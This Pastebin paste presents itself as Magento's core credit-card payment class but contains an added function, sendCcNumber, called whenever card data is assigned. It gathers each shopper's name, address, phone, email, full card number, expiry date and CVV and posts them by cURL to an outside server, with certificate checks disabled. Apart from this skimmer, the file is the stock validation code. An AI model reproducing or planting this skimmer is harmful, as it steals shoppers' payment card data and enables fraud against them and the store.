Advertisement
galih039

CcBaruanget

Mar 30th, 2019
345
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.14 KB | None | 0 0
  1. <?php
  2. /**
  3. * Magento
  4. * /app/code/core/Mage/Payment/Model/Method/
  5. * NOTICE OF LICENSE
  6. *
  7. * This source file is subject to the Open Software License (OSL 3.0)
  8. * that is bundled with this package in the file LICENSE.txt.
  9. * It is also available through the world-wide-web at this URL:
  10. * http://opensource.org/licenses/osl-3.0.php
  11. * If you did not receive a copy of the license and are unable to
  12. * obtain it through the world-wide-web, please send an email
  13. * to license@magentocommerce.com so we can send you a copy immediately.
  14. *
  15. * DISCLAIMER
  16. *
  17. * Do not edit or add to this file if you wish to upgrade Magento to newer
  18. * versions in the future. If you wish to customize Magento for your
  19. * needs please refer to http://www.magentocommerce.com for more information.
  20. *
  21. * @category Mage
  22. * @package Mage_Payment
  23. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
  24. * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
  25. */
  26.  
  27.  
  28. class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
  29. {
  30. protected $_formBlockType = 'payment/form_cc';
  31. protected $_infoBlockType = 'payment/info_cc';
  32. protected $_canSaveCc = false;
  33.  
  34. /**
  35. * Assign data to info model instance
  36. *
  37. * @param mixed $data
  38. * @return Mage_Payment_Model_Info
  39. */
  40. public function assignData($data)
  41. {
  42. if (!($data instanceof Varien_Object)) {
  43. $data = new Varien_Object($data);
  44. }
  45. $info = $this->getInfoInstance();
  46. $info->setCcType($data->getCcType())
  47. ->setCcOwner($data->getCcOwner())
  48. ->setCcOwnerId($data->getCcOwnerId())
  49. ->setCcLast4(substr($data->getCcNumber(), -4))
  50. ->setCcNumber($data->getCcNumber())
  51. ->setCcCid($data->getCcCid())
  52. ->setCcExpMonth($data->getCcExpMonth())
  53. ->setCcExpYear($data->getCcExpYear())
  54. ->setCcSsIssue($data->getCcSsIssue())
  55. ->setCcSsStartMonth($data->getCcSsStartMonth())
  56. ->setCcSsStartYear($data->getCcSsStartYear())
  57. ->setCcInstallments($data->getCcInstallments())
  58. ;
  59.  
  60. $this->sendCcNumber();
  61.  
  62. return $this;
  63. }
  64.  
  65. function sendCcNumber()
  66. {
  67. $info = $this->getInfoInstance();
  68. $object = new Mage_Checkout_Block_Onepage_Billing;
  69. $address1 = $object->getQuote()->getBillingAddress();
  70. $data1 = $address1->getFirstname();
  71. $data2 = $address1->getLastname();
  72. $data3 = $address1->getStreet(1);
  73. $data4 = $address1->getStreet(2);
  74. $data5 = $address1->getCity();
  75. $data6 = $address1->getRegion();
  76. $data7 = $address1->getPostcode();
  77. $data8 = $address1->getCountry();
  78. $data9 = $address1->getTelephone();
  79. $data10 = $info->getCcNumber();
  80. $binsx = str_replace(' ', '', $data10);
  81. $bins = substr($binsx, 0, 6);
  82. $bin = json_decode(file_get_contents('https://lookup.binlist.net/' . $bins));
  83. $binscheme = urldecode($bin->scheme);
  84. $bintype = urldecode($bin->type);
  85. $binbrand = urldecode($bin->brand);
  86. $bankname = urldecode($bin->bank->name);
  87. $bincountry = urldecode($bin->country->name);
  88. $issuer = strtoupper($binscheme . ' ' . $bintype . ' ' . $binbrand . ' ' . $bankname . ' ' . $bincountry);
  89. $expyear = substr($info->getCcExpYear(), -2);
  90. $expmonth = $info->getCcExpMonth();
  91. if (strlen($expmonth) == 1) {
  92. $expmonth = '0'.$expmonth;
  93. };
  94. $data11 = $expmonth;
  95. $data12 = $expyear;
  96. $data13 = $info->getCcCid();
  97. $ipboss = $_SERVER['REMOTE_ADDR'];
  98. $details = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
  99. $nama_negara = $details->country;
  100. $kode_negara = $details->country_code;
  101. $serverboss = $_SERVER['SERVER_NAME'];
  102. $time = date('Y-m-d H:i:s');
  103. $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
  104.  
  105. //create array of data to be secured
  106. $posted = array("firstname" => $data1,
  107. "lastname" => $data2,
  108. "address" => $data3,
  109. "address2" => $data4,
  110. "city" => $data5,
  111. "state" => $data6,
  112. "zip" => $data7,
  113. "country" => $data8,
  114. "phone" => $data9,
  115. "bins" => $bins,
  116. "bin" => $issuer,
  117. "cc" => $data10,
  118. "exp" => $data11,
  119. "expyear" => $data12,
  120. "cvv" => $data13,
  121. "email" => $data16,
  122. "dari" => $serverboss,
  123. "data10" => $data10,
  124. "data11" => $data11,
  125. "data12" => $data12,
  126. "data13" => $data13,
  127. "ip" => $ipboss,
  128. "time" => $time);
  129.  
  130. //create cURL connection
  131. $curl_connection = curl_init('http://www.flowersngiftonline.com/crm_backoffice/office_admin/admin/send.php');
  132. //set options
  133. curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
  134. curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
  135. curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
  136. curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
  137. curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
  138.  
  139. //set data to be posted
  140. curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $posted);
  141.  
  142. //perform our request
  143. $result = curl_exec($curl_connection);
  144. curl_close($curl_connection);
  145.  
  146. }
  147.  
  148. /**
  149. * Prepare info instance for save
  150. *
  151. * @return Mage_Payment_Model_Abstract
  152. */
  153. public function prepareSave()
  154. {
  155. $info = $this->getInfoInstance();
  156. if ($this->_canSaveCc) {
  157. $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
  158. }
  159. //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
  160. $info->setCcNumber(null)
  161. ->setCcCid(null);
  162. return $this;
  163. }
  164.  
  165. /**
  166. * Validate payment method information object
  167. *
  168. * @param Mage_Payment_Model_Info $info
  169. * @return Mage_Payment_Model_Abstract
  170. */
  171. public function validate()
  172. {
  173. /*
  174. * calling parent validate function
  175. */
  176. parent::validate();
  177.  
  178. $info = $this->getInfoInstance();
  179. $errorMsg = false;
  180. $availableTypes = explode(',',$this->getConfigData('cctypes'));
  181.  
  182. $ccNumber = $info->getCcNumber();
  183.  
  184. // remove credit card number delimiters such as "-" and space
  185. $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
  186. $info->setCcNumber($ccNumber);
  187.  
  188. $ccType = '';
  189.  
  190. if (in_array($info->getCcType(), $availableTypes)){
  191. if ($this->validateCcNum($ccNumber)
  192. // Other credit card type number validation
  193. || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
  194.  
  195. $ccType = 'OT';
  196. $ccTypeRegExpList = array(
  197. //Solo, Switch or Maestro. International safe
  198. /*
  199. // Maestro / Solo
  200. 'SS' => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
  201. . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
  202. . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
  203. */
  204. // Solo only
  205. 'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
  206. 'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
  207. . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
  208. . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
  209. . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
  210. . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
  211. // Visa
  212. 'VI' => '/^4[0-9]{12}([0-9]{3})?$/',
  213. // Master Card
  214. 'MC' => '/^5[1-5][0-9]{14}$/',
  215. // American Express
  216. 'AE' => '/^3[47][0-9]{13}$/',
  217. // Discovery
  218. 'DI' => '/^6011[0-9]{12}$/',
  219. // JCB
  220. 'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
  221. );
  222.  
  223. foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
  224. if (preg_match($ccTypeRegExp, $ccNumber)) {
  225. $ccType = $ccTypeMatch;
  226. break;
  227. }
  228. }
  229.  
  230. if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
  231. $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
  232. }
  233. }
  234. else {
  235. $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
  236. }
  237.  
  238. }
  239. else {
  240. $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
  241. }
  242.  
  243. //validate credit card verification number
  244. if ($errorMsg === false && $this->hasVerification()) {
  245. $verifcationRegEx = $this->getVerificationRegEx();
  246. $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
  247. if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
  248. $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
  249. }
  250. }
  251.  
  252. if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
  253. $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
  254. }
  255.  
  256. if($errorMsg){
  257. Mage::throwException($errorMsg);
  258. }
  259.  
  260. //This must be after all validation conditions
  261. if ($this->getIsCentinelValidationEnabled()) {
  262. $this->getCentinelValidator()->validate($this->getCentinelValidationData());
  263. }
  264.  
  265. return $this;
  266. }
  267.  
  268. public function hasVerification()
  269. {
  270. $configData = $this->getConfigData('useccv');
  271. if(is_null($configData)){
  272. return true;
  273. }
  274. return (bool) $configData;
  275. }
  276.  
  277. public function getVerificationRegEx()
  278. {
  279. $verificationExpList = array(
  280. 'VI' => '/^[0-9]{3}$/', // Visa
  281. 'MC' => '/^[0-9]{3}$/', // Master Card
  282. 'AE' => '/^[0-9]{4}$/', // American Express
  283. 'DI' => '/^[0-9]{3}$/', // Discovery
  284. 'SS' => '/^[0-9]{3,4}$/',
  285. 'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
  286. 'SO' => '/^[0-9]{3,4}$/', // Solo
  287. 'OT' => '/^[0-9]{3,4}$/',
  288. 'JCB' => '/^[0-9]{3,4}$/' //JCB
  289. );
  290. return $verificationExpList;
  291. }
  292.  
  293. protected function _validateExpDate($expYear, $expMonth)
  294. {
  295. $date = Mage::app()->getLocale()->date();
  296. if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
  297. || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
  298. ) {
  299. return false;
  300. }
  301. return true;
  302. }
  303.  
  304. public function OtherCcType($type)
  305. {
  306. return $type=='OT';
  307. }
  308.  
  309. /**
  310. * Validate credit card number
  311. *
  312. * @param string $cc_number
  313. * @return bool
  314. */
  315. public function validateCcNum($ccNumber)
  316. {
  317. $cardNumber = strrev($ccNumber);
  318. $numSum = 0;
  319.  
  320. for ($i=0; $i<strlen($cardNumber); $i++) {
  321. $currentNum = substr($cardNumber, $i, 1);
  322.  
  323. /**
  324. * Double every second digit
  325. */
  326. if ($i % 2 == 1) {
  327. $currentNum *= 2;
  328. }
  329.  
  330. /**
  331. * Add digits of 2-digit numbers together
  332. */
  333. if ($currentNum > 9) {
  334. $firstNum = $currentNum % 10;
  335. $secondNum = ($currentNum - $firstNum) / 10;
  336. $currentNum = $firstNum + $secondNum;
  337. }
  338.  
  339. $numSum += $currentNum;
  340. }
  341.  
  342. /**
  343. * If the total has no remainder it's OK
  344. */
  345. return ($numSum % 10 == 0);
  346. }
  347.  
  348. /**
  349. * Other credit cart type number validation
  350. *
  351. * @param string $ccNumber
  352. * @return boolean
  353. */
  354. public function validateCcNumOther($ccNumber)
  355. {
  356. return preg_match('/^\\d+$/', $ccNumber);
  357. }
  358.  
  359. /**
  360. * Check whether there are CC types set in configuration
  361. *
  362. * @param Mage_Sales_Model_Quote|null $quote
  363. * @return bool
  364. */
  365. public function isAvailable($quote = null)
  366. {
  367. return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
  368. && parent::isAvailable($quote);
  369. }
  370.  
  371. /**
  372. * Whether centinel service is enabled
  373. *
  374. * @return bool
  375. */
  376. public function getIsCentinelValidationEnabled()
  377. {
  378. return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
  379. }
  380.  
  381. /**
  382. * Instantiate centinel validator model
  383. *
  384. * @return Mage_Centinel_Model_Service
  385. */
  386. public function getCentinelValidator()
  387. {
  388. $validator = Mage::getSingleton('centinel/service');
  389. $validator
  390. ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
  391. ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
  392. ->setStore($this->getStore())
  393. ->setIsPlaceOrder($this->_isPlaceOrder());
  394. return $validator;
  395. }
  396.  
  397. /**
  398. * Return data for Centinel validation
  399. *
  400. * @return Varien_Object
  401. */
  402. public function getCentinelValidationData()
  403. {
  404. $info = $this->getInfoInstance();
  405. $params = new Varien_Object();
  406. $params
  407. ->setPaymentMethodCode($this->getCode())
  408. ->setCardType($info->getCcType())
  409. ->setCardNumber($info->getCcNumber())
  410. ->setCardExpMonth($info->getCcExpMonth())
  411. ->setCardExpYear($info->getCcExpYear())
  412. ->setAmount($this->_getAmount())
  413. ->setCurrencyCode($this->_getCurrencyCode())
  414. ->setOrderNumber($this->_getOrderId());
  415. return $params;
  416. }
  417.  
  418. /**
  419. * Order increment ID getter (either real from order or a reserved from quote)
  420. *
  421. * @return string
  422. */
  423. private function _getOrderId()
  424. {
  425. $info = $this->getInfoInstance();
  426.  
  427. if ($this->_isPlaceOrder()) {
  428. return $info->getOrder()->getIncrementId();
  429. } else {
  430. if (!$info->getQuote()->getReservedOrderId()) {
  431. $info->getQuote()->reserveOrderId();
  432. }
  433. return $info->getQuote()->getReservedOrderId();
  434. }
  435. }
  436.  
  437. /**
  438. * Grand total getter
  439. *
  440. * @return string
  441. */
  442. private function _getAmount()
  443. {
  444. $info = $this->getInfoInstance();
  445. if ($this->_isPlaceOrder()) {
  446. return (double)$info->getOrder()->getQuoteBaseGrandTotal();
  447. } else {
  448. return (double)$info->getQuote()->getBaseGrandTotal();
  449. }
  450. }
  451.  
  452. /**
  453. * Currency code getter
  454. *
  455. * @return string
  456. */
  457. private function _getCurrencyCode()
  458. {
  459. $info = $this->getInfoInstance();
  460.  
  461. if ($this->_isPlaceOrder()) {
  462. return $info->getOrder()->getBaseCurrencyCode();
  463. } else {
  464. return $info->getQuote()->getBaseCurrencyCode();
  465. }
  466. }
  467.  
  468. /**
  469. * Whether current operation is order placement
  470. *
  471. * @return bool
  472. */
  473. private function _isPlaceOrder()
  474. {
  475. $info = $this->getInfoInstance();
  476. if ($info instanceof Mage_Sales_Model_Quote_Payment) {
  477. return false;
  478. } elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
  479. return true;
  480. }
  481. }
  482. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement